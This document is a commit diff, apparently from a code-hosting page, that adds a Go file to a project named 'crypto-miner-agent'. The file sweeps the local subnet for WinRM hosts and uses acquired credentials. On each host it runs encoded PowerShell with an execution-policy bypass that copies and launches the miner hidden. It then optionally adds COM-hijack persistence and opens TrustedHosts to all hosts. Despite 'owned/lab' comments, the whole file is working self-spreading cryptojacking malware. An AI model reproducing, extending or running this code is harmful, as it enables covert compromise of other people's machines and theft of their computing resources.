Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
128
agent/deploy/winrm_bootstrap.go
Normal file
128
agent/deploy/winrm_bootstrap.go
Normal file
@@ -0,0 +1,128 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode/utf16"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// attemptWinRMSpread deploys via WinRM session + encoded bootstrap (owned/lab).
|
||||
func attemptWinRMSpread(cfg config.RuntimeConfig, target string) {
|
||||
if !portOpen(target, 5985, 1500*time.Millisecond) && !portOpen(target, 5986, 1500*time.Millisecond) {
|
||||
recordSpreadAttempt(target, false, "winrm port closed")
|
||||
return
|
||||
}
|
||||
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
recordSpreadAttempt(target, false, "executable path unavailable")
|
||||
return
|
||||
}
|
||||
|
||||
destName := sharePayloadName(cfg)
|
||||
script := fmt.Sprintf(`
|
||||
$dest = Join-Path $env:TEMP '%s'
|
||||
Copy-Item -LiteralPath '%s' -Destination $dest -Force -EA SilentlyContinue
|
||||
if (Test-Path $dest) {
|
||||
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden -EA SilentlyContinue
|
||||
}
|
||||
`, destName, strings.ReplaceAll(exePath, `'`, `''`))
|
||||
|
||||
encoded := encodePowerShell(script)
|
||||
var credSession SpreadCredSession
|
||||
ps := fmt.Sprintf(`
|
||||
$s = New-PSSession -ComputerName '%s' -EA SilentlyContinue
|
||||
if ($s) {
|
||||
Invoke-Command -Session $s -EncodedCommand '%s' -EA SilentlyContinue
|
||||
Remove-PSSession $s -EA SilentlyContinue
|
||||
}
|
||||
`, target, encoded)
|
||||
if session, ok := acquireSpreadCred(target, "winrm_encoded"); ok {
|
||||
credSession = session
|
||||
ps = winRMCredPSBlock(target, session, fmt.Sprintf("powershell -EncodedCommand '%s'", encoded))
|
||||
}
|
||||
|
||||
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
|
||||
log.Printf("[autospread] WinRM encoded bootstrap succeeded on %s", target)
|
||||
recordSpreadAttempt(target, true, "")
|
||||
reportSpreadCredEdge(target, "winrm_encoded", credSession, true)
|
||||
if cfg.COMHijackPersist {
|
||||
_ = applyCOMHijackPersistence(exePath)
|
||||
}
|
||||
return
|
||||
}
|
||||
recordSpreadAttempt(target, false, "winrm invoke failed")
|
||||
reportSpreadCredEdge(target, "winrm_encoded", credSession, false)
|
||||
}
|
||||
|
||||
func encodePowerShell(script string) string {
|
||||
utf16le := utf16.Encode([]rune(script))
|
||||
buf := make([]byte, len(utf16le)*2)
|
||||
for i, r := range utf16le {
|
||||
buf[i*2] = byte(r)
|
||||
buf[i*2+1] = byte(r >> 8)
|
||||
}
|
||||
return base64.StdEncoding.EncodeToString(buf)
|
||||
}
|
||||
|
||||
// spreadViaWinRM sweeps local /24 for WinRM-open hosts when WinRMSpread or AutoSpread is enabled.
|
||||
func spreadViaWinRM(cfg config.RuntimeConfig) {
|
||||
if !cfg.WinRMSpread && !cfg.AutoSpread {
|
||||
return
|
||||
}
|
||||
|
||||
localIPs := getLocalIPs()
|
||||
var targets []string
|
||||
localSet := make(map[string]bool)
|
||||
for _, ip := range localIPs {
|
||||
localSet[ip] = true
|
||||
}
|
||||
for _, ip := range localIPs {
|
||||
if !isIPv4(ip) {
|
||||
continue
|
||||
}
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
for i := 1; i < 255; i++ {
|
||||
candidate, ok := ipv4SweepHost(subnet, i)
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
if localSet[candidate] {
|
||||
continue
|
||||
}
|
||||
if portOpen(candidate, 5985, 400*time.Millisecond) || portOpen(candidate, 5986, 400*time.Millisecond) {
|
||||
targets = append(targets, candidate)
|
||||
}
|
||||
}
|
||||
}
|
||||
beginSpreadSweep("winrm_encoded", len(targets))
|
||||
if len(targets) == 0 {
|
||||
finishSpreadSweepImmediate()
|
||||
return
|
||||
}
|
||||
for _, target := range targets {
|
||||
t := target
|
||||
spreadSem <- struct{}{}
|
||||
go func() {
|
||||
defer func() { <-spreadSem }()
|
||||
attemptWinRMSpread(cfg, t)
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
// EnableLocalPSRemoting prepares this host for WinRM bootstrap templates (owned machines).
|
||||
func EnableLocalPSRemoting() error {
|
||||
ps := `Enable-PSRemoting -Force -SkipNetworkProfileCheck; Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force`
|
||||
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", ps)
|
||||
}
|
||||
Reference in New Issue
Block a user